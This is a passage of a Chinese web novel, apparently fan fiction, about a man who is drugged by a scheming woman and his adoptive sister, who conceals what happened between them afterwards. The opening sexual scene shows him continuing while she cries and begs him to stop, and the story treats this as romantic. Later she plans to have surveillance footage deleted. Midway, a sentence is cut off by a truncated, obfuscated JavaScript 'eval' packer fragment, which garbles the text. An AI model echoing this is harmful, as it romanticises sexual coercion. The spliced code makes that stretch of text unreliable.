他偏要坏心地追问:“皎皎猜一猜,猜对了,哥哥就听你的,停下来……” 蝴蝶,一只又一只的蝴蝶…… 那么斑斓绮丽,那么诡异惑人。 像一片片美丽轻盈的梦境,记载着不可言说的妄念。 太疼了,真的太疼了…… 顾白月咬着唇,可怜巴巴地抽泣,就连哭都是有气无力,小猫崽子一般用手指抗拒他,推了半天却连一丝儿缝隙都没争取到,不由哇地一声嚎啕大哭,眉眼楚楚地哀求:“我不知道,我真的不知道……” 他笑了。 这次的笑却同以往所有纵容宠溺都不同,充满着男性掠夺意味,骨子里的霸道彰显无疑,他就那么低低地笑:“皎皎怎么能不知道呢?” 如同一位兢兢业业的老师,语气温和地责备他上课走神的惫赖学生,“这么多年,哥哥每次思念皎皎,每次想要靠近皎皎,情动不可自控的时候,就会做一只蝴蝶标本。” “所以说,皎皎才是罪魁祸首啊,真是个……坏、孩、子。” “猜不到的话,也没关系啊,欲|念因你而起,就要被你平息,这很公平不是吗?我们每平息一次,就摘下一只蝴蝶标本,你说,好不好?” 她控制不住地一声嘤咛,满脸惧意地看向满墙密密麻麻,琳琅满目的蝴蝶,泪水滚滚而下,哭得眼尾绯绯,鼻尖红红。 太多了,实在太多了…… “是,是这个……” 抱着侥幸心理,她指了指一只硕大的幽蓝斑纹青翅凤尾蝶。 他恍惚一笑,亲昵地吻她柔软指尖,顾白月松了一口气,猜对了是不是就可以休息…… “不对哦,皎皎,我们继续……” 顾白月惊恐摇头,“不要不要,快停下来,哥,我是皎皎啊,你疯了吗?” “真可怜啊……” 他轻抚女孩红肿眼角,眸色偏执狂乱,“但是,哥哥早就已经疯了……” 那些蝴蝶标本都用特殊材质的透明胶封存着,凝固成琥珀状,以细小的曲别针固定在屏风上,以此营造立体感,一样望去,栩栩如生。 现在,他将那只美艳的幽蓝纹青翅凤尾蝶取下,放在女孩润白手掌,状似好心地提醒:“皎皎记得抓牢,千万不要掉落,否则会被罚的……” 孟宴臣(三十九) 这疯狂而又混乱的一夜,到底是怎么发生的呢? 一切还要从昨天晚上说起。 孟宴臣万万没想到,叶子如此胆大包天,竟敢挑衅法律,用一块加了料的帕子将他迷晕。 不过,叶子不知道的是,孟宴臣从小就上体能课,看起来单薄忧郁,其实是穿衣显瘦,脱衣有肉的类型,还专门学过绑架逃脱相关技能,身体的抗药性比一般人强多了。 无奈药性太过霸道,孟宴臣全身虚软,口不能言,他很聪明地没有选择立刻开始反抗,而是偷偷积蓄力量。 叶子显然是有备而来,以为孟宴臣彻底陷入昏迷,她放心地脱掉反光衣,迅速扯开衬衣领口,又将孟宴臣扣子解开,故意摆出暧昧姿势,用手机拍下一系列引人遐想的亲密照。 这是外面,她有所顾忌,不敢太过分,万一到了没人之处…… 孟宴臣暗中掐着虎口,勉力保持一丝清醒。 照片拍完之后,叶子从自带的挎包里掏出一小瓶酒,打开撒在自己和孟宴臣身上,营造出两人喝得不省人事,酩酊大醉的假象。 接下来就是门口的岗哨…… 她要得可不仅仅是这些令人想入非非的证据,更要登堂入室的资本。 叶子搀扶着孟宴臣,跌跌撞撞往泰和公寓走,一边走,一边似模似样地轻声埋怨:“孟总,您慢点,您今晚也喝得太多了……” 保安亭里只有一个人值班,叶子亮出孟宴臣的身份,保安队长看了一眼,见果然是孟宴臣,一副喝得醉醺醺的模样,连忙放行。 “救……救我……” 孟宴臣抓住一线生机,见缝插针地向那保安队长求助,可惜他浑身无力,嗓音喑哑,心底漫上一股炙热,烧得整个人口干舌燥。 “孟总,我们往这边儿走。”叶子忽然提高嗓门,将孟宴臣的微弱声音压了下去,半搂半抱地带着他往里走去。 夜深人静,小区里已经很少看到人影,即便孟宴臣垂死挣扎,也没人能够救他于水火。 那么优雅迷人的孟宴臣,就要成为她的男人了…… 李平安巡逻回来,隔着扶疏花木,看到一个女人扶着孟宴臣走路,他想着必定是孟总的妹妹孟贺卿来了,于是熟络地打招呼:“孟三小姐,晚上好啊。” 那女人背对着路灯没有说话,一把将孟宴臣的手攥住,匆匆搀着他走了,动作很是急切。 好像有哪里不对劲…… 李平安直觉有蹊跷,他问保安队长:“孟三小姐回来了吗?” 队长摇摇头,笑意古怪:“不是孟三小姐,是另一个女人,看样子十有八|九是孟总情人,这深更半夜孤男寡女的……” 李平安难以置信:“孟总不是这样的人……” 保安队长嗤笑:“你生瓜蛋子一个,懂个屁!咱们这小区里进进出出哪个不是厉害人物?瞧着人模狗样,背地里还不是搞三搞四,我见得多了。” “不对……” 李平安固执己见,“孟三小姐上次来,专门给我们送了水果,说她哥哥经常一个人在家,让我们临近年底注意安全,多去孟总那层楼巡视两圈,队长你都忘啦?我们还是过去看看吧,万一出点事,我们怎么跟三小姐交代?!” 保安队长嫌麻烦,不以为然地摆摆手:“要去你去!别怪叔没提醒你,撞破了孟总的好事,够你小子喝一壶的!还天天孟三小姐孟三小姐,以为人家看得上你啊?” 李平安任他奚落,自己拿了手电筒,大步跑了出去。 叶子知道孟宴臣所住的单元和楼层,万幸的是,她不知道开门密码,只好轻声诱哄:“孟总,您把密码告诉我,好不好?” 孟宴臣自然不肯配合地输入数字,他趁叶子不注意,不停朝楼道里的监控摄像头比划110的手势。 见孟宴臣闭紧嘴巴,一语不发,叶子努力回想她背诵下来的孟宴臣家庭信息,用他个人生日,家人生日,一个个尝试。 “喂!” 千钧一发之际,李平安终于赶了过来,他从电梯里跑出来,大声喝问:“你是谁,为什么在这儿对孟总拉拉扯扯?!” 糟了!看来今天要功败垂成了…… 叶子想也不想掏出防狼喷雾,朝着李平安狠命摁压,最终不甘心地看了看面色潮红,双眸迷离的孟宴臣,一个箭步冲进楼梯间。 “别跑!” 李平安用衣袖胡乱擦了一把眼睛,看清孟宴臣气喘吁吁,冷汗涔涔,好心地过来帮忙:“孟总您还好吗?您是生病了吗?要不我给您妹妹打个电话……” 他说前两句话时,孟宴臣深陷泥淖,毫无反应,唯有听到妹妹一词,仿佛心底最深处的宝物被碰触,只得死死咬住舌尖,“不,不要,千万不要……” 如此狼狈,如此不堪的孟宴臣,绝对不能出现在顾白月面前,他用最后一丝儿力气摁下密码,打算将自己关在房间里。 此时此刻,他多么庆幸皎皎不在家,多么庆幸妈妈要给皎皎置办年货,喊她回老宅去住…… “嗳,您慢点。” 大门打开,李平安想要扶孟宴臣回卧室,但孟宴臣已然神智昏沉,只剩下野兽般的防御力,他潜意识抗拒别人踏足自己的领地,更厌恶别人的靠近,“不……不用。” 一片混乱中不知是谁撞到了鞋柜,地毯也乱了一角,李平安不好意思地笑了笑:“那孟总您好好休息,我出去转几圈,看能不能抓到那个贼。” 他以为叶子是奔着孟家钱财来的。 外人离去,孟宴臣手脚虚脱一般,他强撑着跌跌撞撞走进房间,短短一段路已是大汗淋漓,四肢百骸好像有无数火焰燃烧,将人死死钉在油锅上炙烤。 浓浓夜幕中,他近乎本能地呢喃:“皎皎,皎皎……” …… “皎皎……” “皎皎……” 一声又一声的呢喃,绵密如烟川雨雾。 顾白月霍然从梦中惊醒,微微一动,身体便传来异样的酸疼感,她咬着嘴角轻轻抽气:“嘶……” 此番变故来得猝不及防,完全打破了顾白月一贯认知,她不得不承认有些自乱阵脚。 竟然发生了这样的事,他们恍若鸳鸯交颈,巫山云雨,那般亲密无间,不分你我…… 顾白月的脸不受控制地烧灼起来,染上一片绯红,霞光月韵,妩媚天成,是在此之前完全不曾显露过的娇态,风情无限。 哥哥明明给过离开的机会,她也不是不能想办法脱身,既然如此,为什么还要纵容他一错再错呢…… 看到他情绪失控,几近崩溃,那一瞬间柔软下来的心肠,仅仅是因为多年来青梅竹马,相依相伴的亲情吗? 这是全然陌生的领域,顾白月有一点无所适从,她极力清空那一丝丝悸动,不敢再信马由缰地思考下去。 当务之急是要先解除困境…… 早在孟宴臣强势地将顾白月扑在床榻上时,她就确认孟宴臣中了算计,他身上有淡淡苦药味,双目赤红煎熬,是濒临深渊,随时都可能坠落的凄然姿态。 如果要问这世界上谁会时时刻刻为顾白月担心,牵肠挂肚,唯恐她受一点点伤害的话,那么正确答案未必有顾白月自己,却一定囊括孟宴臣。 犹记得初三那年,顾白月跟孟宴臣肖亦骁几人一起打保龄球,一时不慎伤到手指,她自己浑不在意,季如兰也并未出言责怪。 孟宴臣却为此耿耿于怀,愧疚得不能自已,甚至从那以后,再也不允许顾白月碰保龄球,他自己也对此敬而远之。 她的哥哥啊,世界上最好最好的哥哥…… 顾白月伏在膝上垂眸看孟宴臣,残存的药效让他依旧深陷沉睡,一张清瘦干净的脸,淡泊如雪,气质清绝,即便处于睡梦之中也笼着薄薄一层哀愁,驱之不散。 如果哥哥清醒之后,知道他被药物控制,一朝行差踏错,做下此等难以挽回的错事,痴狂地一次次拥抱,亲吻,掠夺,逼问,侵占…… 孟宴臣会怎么样? ——他会疯掉。 顾白月无比笃定这一点。 强烈的道德感会成为一道枷锁,将他终生囚困,他会一辈子都觉得愧对她,极尽所能弥补她。 是谁给孟宴臣下了药? 险些彻底毁了他。 在顾白月心目中,孟宴臣皎若玉璧,不该被亵|渎,长久以来他背负了太过沉重的命运,浸泡在无尽苦水中,时时窒息,时时有灭顶之灾。 分明被失眠症缠裹得密不透风,却还是想方设法地独自忍受着,默默固守着,他那纤细脆弱的神经,已经经不起毁灭性的打击了…… 顾白月想,或许,她可以把这一切伪造成梦境。是的,孟宴臣当时之所以如斯孟浪,化作藤蔓,纠缠着她末日狂欢,抵死缠绵,是因为他乱了心智,以为梦境再临。 春|梦了无痕。 正如孟宴臣了解顾白月一样,顾白月也知道怎么才能瞒过他,她将那一袭染了血渍和污浊的长裙抽出,捡起地上七零八落的衣服,悄无声息地回到隔壁自己卧室。 一切罪孽都被隐藏起来,顾白月换了一件黑色高领毛衣,搭配深蓝色牛仔裤,蹑手蹑脚 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或许,她可以请那个腼腆羞涩,一见她就脸红的李平安帮帮忙,仅仅删除她进出公寓的几十秒画面,应该不难吧? 天色蒙蒙亮,街道上行人寂寥,药店也没有开门,顾白月就近寻了一家酒店,“开一间房。” 她说话时嗓音细弱,是长时间哭泣造成的。 每一次落脚都是虚浮无力的,恍恍惚惚地来到房间,门一关上,顾白月就倚墙缓缓委顿在地。 缓了一会儿,去卫生间脱掉衣服,看着瓷白肌肤上的一片片吻痕,顾白月羞耻得脚趾抓地,她是容易留疤的体质,稍稍一用力就青紫斑驳,触目惊心。 若要消掉这些痕迹,至少也要三天吧? …… 孟宴臣做了一个梦,一个美好得让他几欲落泪的梦,梦中所有痴念恋欲,一一抚平,多年所求,得偿所愿。 他从来没这么开心过。 醒来时,他多么希望这一切都是真的,又多么害怕一切都是真的。 房间里空荡荡的,只有他一人…… 孟宴臣长舒一口气,心底说不出什么滋味,幸好皎皎不在,幸好他没有玷|污心中纯洁无暇的明月。 然而,内心最深处隐隐有一道声音泣血嘶鸣,鼓动着他去忏悔,去赎罪…… 万一,万一他真的犯下不可饶恕的罪愆? ——那他当以死谢罪,又有什么面目再去见她。 只是皎皎,他的皎皎,她最怕疼了…… 孟宴臣迅速起身,踉跄着将所有房间看了一遍,皎皎确实不在家,目之所及,处处干净妥帖,没有丝毫纰漏。 额头针扎似地疼痛,孟宴臣瘫坐在沙发上回忆昨夜的一切,药物麻痹了他的神经,仅仅模糊记得叶子以身试法,乔装欺瞒,甚至想要破解密码锁闯入家中…… 孟宴臣很清楚地知道,一个四处打零工做兼职的普通女生,很难做到这一步,大概率是受了什么人指点,借由陷害他攻击国坤。 联想到前一段顾白月莫名其妙被黑,宴山月被泼脏水,或许幕后真凶所图甚大。 自然要报警。 不过,在此之前他要先给皎皎打一个电话。 电话打通了,但是皎皎没有接,只回来一条消息:哥哥,我昨天晚上参加完饭局,直接来找小雨滴玩了,她好不容易回国,你就给我三天时间,让我多陪陪她逛街看电影吧?求求你了,等我忙完立刻回来,这边不方便接电话,哥哥再见啦。 与此同时,王雨润那边也发来一条消息,措辞相差无几。 是巧合,还是…… 孟宴臣心脏倏忽一紧,他给物业发消息,要求调取本楼层昨天晚上的监控视频,对方很快就发送过来。 他屏息凝神,认认真真看了两遍,从昨天晚上六点直到现在,皎皎由始至终都未曾在画面中出现。 难道这一切,当真只是一场绮丽香|艳的梦? 那为何身体会有如此鲜明的餍足感,仿若狠狠发泄…… 床单上的斑斑点点,又作何解释。 他在梦中当真荒诞至此,以至满床狼藉,风流云散。 孟宴臣面无表情地洗漱换衣服,打算去一趟警局报案,不经意间望向那面蝴蝶屏风墙,下一瞬如坠冰窖,整个人忽而控制不住地战栗发抖,潸然泪下。 他对这些蝴蝶标本了若指掌,浮光掠影地一瞥就能发现所有细微变化,更何况,那上面少了一只硕大的,夜海般幽蓝的,青翅凤尾蝶…… 不知飞去了哪里。 孟宴臣(四十) 孟宴臣带着收集到的证据去报案,警方很重视此事,当即就立案侦查。 无奈临近年底,小偷小摸违法乱纪之类的事件层出不穷,公安机关人手不足,再加上嫌疑人叶子手机关机,人不知躲藏在哪里,一时之间也难下结论,便先出动了一些警力寻找,通知孟宴臣暂时等消息。 除了懂得合理利用国家法律武器,保护公民个人权益外,孟宴臣还积极配合,同所有新闻媒体社交平台打了招呼,重点关注故意抹黑他的爆料,协助司法机关取证调查,一旦叶子登录相关网络账号,动用一分线上存款,都会有人第一时间将她锁定,然后按图索骥,追踪Ip地址,她编辑的任何文字和图片,一个字符都发不出去,并且会被后台录屏保存,来日成为呈堂证供,加大量刑权重。 他就是要让这个罪魁祸首为自己的行为买单,即便一时半会儿没办法捉拿归案,也要让有罪之人活成下水道里肮脏阴暗的老鼠,寸步难行,提心吊胆。 至于大过节的给人添麻烦,孟宴臣也只能道一声抱歉,向所有被劳动的记者朋友、职业黑客,各自转了一笔钱作为红包,然后照常去国坤上班,安排年前年后一系列工作,仅仅是审阅各类总结汇报、新春销售预案,筹备下一阶段项目等,就忙得人应接不暇,分|身乏术。 他一边处理文件,一边时不时看向手机,等待着一个或许永远不会到来的电话,希望渺渺。 姚莫北好心提醒:“孟总,您的手机屏幕好像碎了,我拿到外面去修一下吧,您放心,很快的,或者我去给您买一支新手机?” 昨天晚上孟宴臣佯装昏迷,以此让叶子放松警惕,本想暗中拨号报警,可惜后来还是被她发现,将手机夺了过去。 多亏了李平安察觉到不对劲,跑来吓走叶子,孟宴臣这才趁机从她口袋中将手机拿回来,只是拉扯之中手机摔了一下自动关机,今天早晨充上电才能打开。 这手机来自一个国产品牌,过去曾因顶尖配制在网上火过一段时间,但科技产品向来更新换代快,可能上个月还是天花板级别,下个月就湮没无闻,起码以孟宴臣的身份来说,这稍显落伍的手机实在配不上国坤集团的执行总裁。 孟宴臣摇头拒绝:“不用了,这支手机,——是皎皎送的。” 差不多也是去年这个时候,皎皎参加舞蹈比赛,用奖金买了一蓝一粉两支手机,粉色自用,蓝色邮寄给了他。 他舍不得换掉,又害怕手机送修时,恰巧错过皎皎打来的电话,索性再等一等,毕竟这只是私人手机,另有两支手机用以应付公务,倒也不耽误什么。 孟宴臣忙碌了一天,也期盼了一天,然而盼来盼去,皎皎始终不曾联系他。 皎皎究竟在哪里? 如果那些令人脸红心跳的淫|靡画面,不仅仅是梦境…… 这个念头一旦涌现,孟宴臣只觉心口窒息,生不如死。 她会恨他的吧? 一定会的。 真是不可饶恕啊…… 除上班时间外,孟宴臣疯了一样寻找顾白月,走遍了所有她可能出现的地方。 王雨润的父母说女儿回国过年的第二天,就拉着行李箱去找好闺蜜顾白月一起去周边城市玩,两人这会儿肯定在逛街购物看电影…… 然而王雨润的手机已经打不通了。 花姐说皎皎昨天晚上参加聚会时,突然变了神色,声称遇到急事,煞白着脸就走了,她后来不放心给皎皎打电话,但那时皎皎似乎正在忙,挂了电话回消息说没事了,似乎已经恢复镇定…… 肖亦骁说皎皎最近没有找他,最近一次跟他聊天,还是发语音感谢他上次赠送了红酒“火龙”,又说哥哥偶尔睡前喝一点好像有点效用,但不明显,问他有没有其他品类的红酒,她想多买一点换着试试…… 所有人都跟他说,皎皎和朋友一起出去玩了,皎皎现在很开心很安全,唯有孟宴臣的心一遍又一遍的提醒他,千万不要被假象蒙蔽,更不要妄图逃避罪责。 白天的孟宴臣,身居高位,日理万机,每一次发号施令都决定着企业未来,数以万计的员工和家庭在国坤羽翼下生存,他不敢有丝毫松懈,唯恐行差踏错。 只有夜深人静,万籁俱寂时,他才是他自己的,他可以浸泡在这漫漫光阴中,任由思绪野草般疯涨,一茬茬,春风吹又生。 孟宴臣将整件事从头到尾复盘了无数次,抽丝剥茧,推理真凶。 房子说白了也不过是一种高档商品,逢年过节是销售关键点,国坤集团作为房地产业龙头老大树敌太多,有人将他当做突破口,借此向国坤这个庞然大物宣战,并不稀奇。 想要虎口夺食,抢占市场份额? 宴山月那片园林刚投入市场不久,有前期的宣传造势,再加上皎皎逆风翻盘,带火中式古典住宅这个话题,风头过于强劲。 幕后黑手造谣生事不成,想必是狗急跳墙,打算栽赃陷害,没有黑料,就在他身上制造黑料,到时候将照片和视频爆料出来,一切铁证如山,孟家和国坤都会跌落万丈深渊。 一片浓稠的黑暗中,孟宴臣冷冷嗤笑,究竟是什么给了他们错觉,以为他是任人宰割的软柿子吗? 他在皎皎面前脾气软好说话,不代表在其他人面前也是如此。 他们险些毁了他,毁了他最爱的人,凭什么全身而退…… …… 顾白月穿着驼色毛呢大衣,一张精致昳丽的小脸,严严实实地藏在黑色渔夫帽下面,素净至极。 已经过了两天,脸颊和脖颈的吻痕淡化,只剩浅浅淡淡的桃粉色,她这才敢来餐厅吃饭,之前都是窝在房间点外卖。 前几天王雨润回国,带回来一个金发碧眼的男朋友,因为父母观念保守,反对她跨国恋,王雨润没办法,只得阳奉阴违,明明是带男朋友出去旅游,却谎称是找顾白月。 顾白月顺势请她帮忙给孟宴臣发消息,两人各取所需,一拍即合。 酒店的液晶大屏幕在播放新闻,是财经频道的主持人采访国坤集团,视频里孟宴臣神色冷冽,眸若霜雪,轻描淡写地公布了一系列企业变动,以及部分人事调整,除正在销售中的宴山月之外,原本预计在年后新春档投放市场的“岁和馆”二期项目、“丰和家园”三期项目,都将提前开启预售,享受新年特惠。 不仅如此,国坤集团正式与行业翘楚“刑天”科技公司建立攻守同盟,邀请“刑天”研制一批专属家用机器人、智能互联家电、自动安保系统,提高业主体验度和舒适感。 隔壁桌的客人低声议论:“国坤集团怎么这么多大动作,要变天了?” 朋友笑称:“谁知道呢,兴许是跟对手公司打擂台,商场上弱肉强食不是很正常嘛。” 顾白月不关心其他,她只注意到这条时事新闻里,孟宴臣越发消瘦,单薄脆弱似一片玲珑剔透的琉璃瓦,将碎未碎,命若悬丝。 看样子,他肯定又没好好休息,真是不听话…… 残月如眉,斜挂树梢,一片暗沉沉望不见尽头的永夜,孟宴臣安安静静地坐在窗前,独自守着他的月亮,恍若无人祭扫的孤坟,等待落叶枯枝将他蚕食殆尽。 一条消息浮现在手机页面,清清楚楚地映入眼帘: 哥哥,请你给自己煮一杯牛奶喝掉,然后立刻马上去睡觉,否则我以后再也不理你了! 下面附带一个叉腰生气,火冒三丈的可爱小人。 是皎皎…… 孟宴臣有些激动,他双手捧过手机,很迅速地回复,期间打错了两个字,改正之后又检查了一遍才点击发送:好好,我马上就去睡觉,你什么时候回家? 顾白月:明天。 她终于要回来了。 孟宴臣成了老旧生锈,即将被淘汰的机器人,一个指令一个动作,老老实实地煮牛奶喝掉,他甚至拍照发给皎皎证明,用潜台词告诉她: 哥哥会很乖很听话,所以能不能不要抛弃我…… …… 天终于亮了。 孟宴臣早早起床,细心将头发打理整齐,又换了一套全新的纯黑色冬款西装,雪白衬衣,搭配深灰色领带,每一处都极为妥帖,很是斯文儒雅,风度翩然。 开门声响起,顾白月穿着绵软舒适的连帽卫衣,背了一个旅行包,元气满满地歪头打招呼:“哥哥,早上好啊!” “你……” 孟宴臣瞬间慌乱,心脏跳动声几乎震耳欲聋,他小心翼翼地审视顾白月,女孩星眸璀璨,肤白似玉,莞尔一笑,就能让人自乱阵脚,手足无措。 看起来果然是刚刚度假归来,神清气爽的快乐模样。 他仔仔细细端详她,皎皎的神情举止没有一丁点儿破绽。 难道真是他想多了…… 可是那只不翼而飞的幽蓝色青翅凤尾蝶,又该怎么解释呢? 孟宴臣嗫嚅着轻轻说:“你……你去了哪里,三天不见,我都快疯了。” “哥哥别急,我这不是回来了吗?对了,小妖怪还在后面呢。”顾白月往身后招了招手,一只黄白相间胖乎乎的小肥猫,迈着傲娇的步伐慢慢踱过来,嘴巴里还衔了某样东西。 顾白月蹲下|身,假装威严地拍了拍猫猫头:“忒!你这只一肚子坏水的小妖怪,真是胆大包天,竟敢偷我哥哥的东西,现已猫赃并获,还不赶快把东西交出来!” 孟宴臣认得它,这只猫经常在小区附近徘徊,吃得膘肥体壮,一点都不像经常淋雨挨饿的流浪猫,反而非常有带头大哥的气势,有时还会领着一队花色各异,或黑或灰的猫小弟,寻衅滋事,拦路抢劫。 俨然此地一霸。 不过,皎皎很喜欢这只猫,每次遇到都会亲昵地喊它“九条命的小妖怪”,还会买许多猫罐头和小鱼干让小妖怪带回去分。 有一次,孟宴臣带顾白月出去晨练,跑着跑着忽然不见她的身影,他转回身找了一会儿,在几株万年青后面,看到了坐在台阶上,傻乎乎托着脸颊,笑得东倒西歪,花枝乱颤的顾白月。 他安安静静看着,被她的好心情感染,也弯着唇角问:“怎么了?” 顾白月指着眼前一群猫猫,压低声音,兴奋地跟他分享:“哥,我第一次见猫猫打群架耶,好像误入火拼现场,感觉每一只都好凶哦,尤其是那一只小肥猫。” 领队那只肥嘟嘟的猫很敏锐,它转头望过来,冲着顾白月亮出爪爪:“喵呜喵呜~~” 小肥猫:诽谤啊她诽谤我啊! 他们买了火腿肠和面包投喂流浪猫,顾白月临走时明显有些依依不舍,孟宴臣见状就说:“你喜欢的话,我们可以带回家养。” 顾白月心动,想了想还是摇头:“算了吧,我们一忙起来很有可能忽略它,又要经常回老宅,妈妈有洁癖,看到猫毛会不高兴的。” 她回头跟猫猫挥手再见,笑意灿烂:“哥哥知道小妖怪为什么吃这么胖吗?因为它是个负责任的好大哥,吃多一点有力气,它才能在跟其他抢地盘的猫猫打群架时不输阵,所以小妖怪现在是不会跟我们回家的,若是有一天它同意,我们再把小妖怪诱拐回去吧。” 为什么这么喜欢小妖怪? ——因为在顾白月眼里,孟宴臣也是一只努力壮大自己,拼命庇佑别人的小妖怪。 小妖怪跟顾白月很投缘,被她悄悄一捏爪子,就配合地将嘴里叼着的东西吐出来,潇洒转身,离开时还向顾白月递了个眼色: 漂亮人类,记得你承诺的小黄鱼,要满满一箱哦! 顾白月放下旅行包,将地下的东西捡起来洗干净,笑眯眯地递给孟宴臣:“哥,你睡觉是不是没关好门窗?小妖怪溜进来你都不知道,幸好没咬坏哥哥的蝴蝶标本。” 那只硕大的,幽蓝色,青翅凤尾蝶,又回来了…… …… 付闻樱听说顾白月游玩回来,发话说让他们回老宅吃饭,兄妹二人换好衣服驱车过去,到家一看,付闻樱正坐在客厅沙发上,慢条斯理地看时装杂志。 现在线上购物普及率高,但付闻樱是老派作风,更喜欢看纸质图片,高奢店服务到位,每月都会送来新款产品的宣传杂志,供付闻樱挑选,若是遇上喜欢的就用笔勾画一下,相应服饰鞋包当天就会送到家里。 顾白月以前初次见到豪门阔太太这么买东西,莫名觉得很有意思,付闻樱认认真真挑选衣物时,顾白月总是控制不住联想到一个段子,没错,就是那个有钱人吃饭懒得看菜单,直接“炒一本”的趣话。 唔,若说别人是“炒一本”,那我们付女士就是“买一本”,主打的就是一个壕无人性。 这也就罢了,类似情景经常在孟家上演,付闻樱女士另类消费方式,顾白月也早就司空见惯,让她惊讶的是茶几两旁沙发上,一左一右陪坐着两个人,分别是肖亦骁和……付泽生? 他怎么在这里? “妈妈。” 两人双双向付闻樱点头问好,他们的规矩是同一人所教,十分默契协调,就连颔首的弧度都相差无几。 付闻樱淡淡道:“舍得回来啦?” 顾白月暗道不好,付女士今天似乎心情欠佳,不知道是谁冒犯了她老人家,在这风口浪尖上叫他们回来,万一哥哥收不住性子,大过年的母子两人再杠起来。 她悄悄向肖亦骁抛了个充满问号的眼神,示意他:怎么了这是? 肖亦骁撇嘴,不动声色地竖起一根手指,往二楼许沁房间点了点,又用食中二指交替向前,模仿小人跑路状,用口型提醒她:嗨,快别哪壶不开提哪壶了,许沁为了一碗白粥跟人跑了,你们等会小心惹火烧身! 顾白月回了个OK。 付闻樱将顾白月唤到身边坐,又给她引荐付泽生:“这是妈妈堂哥家的孩子,你们上次应该在春上春见过的,按照辈分,皎皎应该叫阿生表哥。” 原来是付女士的堂侄儿啊,这么说是跟哥哥有一点点血缘关系,那两三分相似之处也就合情合理了,这一点顾白月早就从两人姓氏中窥见端倪,倒不觉得十分意外。 顾白月礼貌微笑:“表哥好。”她怀疑自己正在拍武侠片,饰演的还是那位明眸皓齿,倾国倾城的神仙姐姐王语嫣。 付泽生温润而笑:“皎皎你好。”又跟对面的孟宴臣打招呼,“大哥回来了?” 孟宴臣平淡地嗯了一声,他跟肖亦骁坐在一块,同付泽生分列两边,宛若楚河汉界,泾渭分明。 付闻樱笑着对顾白月道:“演出服做好了,你表哥千里迢迢亲自给皎皎送来的,还自掏腰包送了你好几件衣服做新年礼物,都放在房间里,皎皎快去穿上试一试!” 顾白月今年有幸收到央视邀请,在春节联欢晚会上表演一场三分半钟的独舞,为此特意向春上春下单,预订了一款高档舞蹈裙,毕竟她身上背着春上春的代言签约,有好处总要先考虑自己人。 不过,当着这么多人试穿轻薄飘逸的舞蹈裙,尤其是还有并不熟稔的付泽生在场,顾白月总觉得怪不好意思的,就推辞道:“妈妈,不用了吧,我相信春上春这个品牌……” 付闻樱推了她一下:“你表哥来都来了,有不合适的地方刚好让他帮忙修改,你这孩子害什么羞?” 顾白月没办法,硬着头皮去楼上换衣服,实话实话,这舞蹈裙当真是极为美丽,薄若蝉翼,如梦似幻,不愧是名家出品。 她提着裙摆,沿排了湘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟宴臣适时接口:“妈妈不是经常埋怨我们只顾着忙工作,不在家尽孝吗?既然是过年,还是一家人和和美美的团聚最重要吧。” 付闻樱轻轻在顾白月背上拍了一巴掌,眼睛却是盯向孟宴臣:“别胡闹,倘若你们兄妹两人天天守在家里,做一辈子单身汉老姑娘,难道名声很好听吗?” 上一代人自小接受传统教育,最是重视颜面,若是真闹出一点惊天绯闻,唾沫星子都要淹死人,家里出一个为了野男人要死要活的许沁,还不够让人笑话的吗? 正因为孩子们年轻不懂事,做父母的才更要眼明心亮,他们被人戳脊梁骨是小事,左右也是黄土埋半截的人了,可是她的一双儿女,无论如何都不能受到一丝一毫的诟病。 有时候流言蜚语能杀人于无形,前一段顾白月在网上遭黑粉谩骂泼脏水,给素来体面的付闻樱留下了很深的心理阴影。 那些话说得实在太难听了…… 无凭无据时尚且如此,万一兄妹两人当真有点什么,让人捕风捉影传了出去,他们还活不活? 孟宴臣意有所指:“现在社会进步了,大家观念也开放,一辈子不婚不育的人有的是,不独我们两人如此,妈妈不要杞人忧天。” 这就有软语交锋的意味了。 “你究竟是想说我杞人忧天,还是指责我坐井观天?” 付闻樱冷笑,一时气恼说了狠话,也是在座的都是自家人,她没那么多顾忌:“你现在主意大得很,调整公司架构,开设新项目,瞒着你爸爸先斩后奏,你想干什么?如果这是对手公司故意激怒你,你这么急功近利就落了圈套,我们国坤明年起码要折进去三分之一的利润!说吧,对手公司做了什么惹得你这样?还是你急于夺权,不想再被我和你爸爸压一头!” 话赶话越说越不对味,众人都听得心怀忐忑,噤若寒蝉,肖亦骁吓得直扯孟宴臣袖子,瞪着眼警示他:不是说今天付女士憋了一肚子火,别触她霉头吗?! 孟宴臣当然不可能将实情说出来,但他也绝不退让,正想再同付闻樱争辩一番,顾白月忽然朝他投来一记嗔怪目光。 他蓦然一愣,不知为何,总觉得皎皎现在越发美丽惑人,眉梢眼角多了些不一样的韵味,孟宴臣一时喉头梗住,心神激荡,忘记了嘴边的话语。 顾白月叹着气,软软糯糯地同付闻樱说话:“妈妈,年底多忙啊,哥哥好不容易抽出时间回家,您就别责怪他了,即便哥哥有一二欠妥之处,爸爸妈妈慢慢教他就行了。再说,我跟哥哥不想结婚,也是为了多陪陪爸爸妈妈,这样难道不好吗?妈妈你信不信,改天咱们一家人穿着亲子装上街,人家指定以为我们是姐妹俩。” 只要是女人,就没有不喜欢被人夸年轻的,这话说得实在暖人心窝子。 儿子冷硬如铁,当然可以教训,但女儿乖乖软软,就不舍得说一点重话了,付闻樱表情稍稍缓和,笑骂:“小滑头,只会哄妈妈高兴,你们不结婚,爸爸妈妈怎么抱孙子外孙?” 原来是为了这个啊…… 也是常见话术了。 顾白月见招拆招,朝付闻樱狡黠一笑,忽而道:“小孩子是很可爱,我也很喜欢,嗳,妈妈,你还记得小纸鹤吗?” 王雨润的哥哥名为王风行,人如其名,性格粗犷,雷厉风行,整天一副天不怕地不怕的样子,上学时一天单挑三个校霸都没皱过眉毛,唯一软肋便是女儿王千鹤。 为此,王雨润没少吐槽她哥,小纸鹤上个幼儿园,他在外面猛男落泪,哭得差点进ICU。 同辈人中王风行年龄最大,最早结婚生子,时常成为催婚界的金子活招牌,被各家爸爸妈妈钦点为模范儿子优秀丈夫,然后再被一众弟弟妹妹深深唾弃。 付闻樱笑得很优雅:“我当然记得啊,那孩子小脸圆嘟嘟的,说起来还有点像皎皎你小时候呢,多可爱啊。” 顾白月恶劣地裂开嘴角笑,吐露一个残忍现实:“是啊,以前多机灵可爱啊,——现在数学考3分。” 付闻樱:“……” “英语考5分,语文好一点,7分。” 付闻樱的笑僵在脸上。 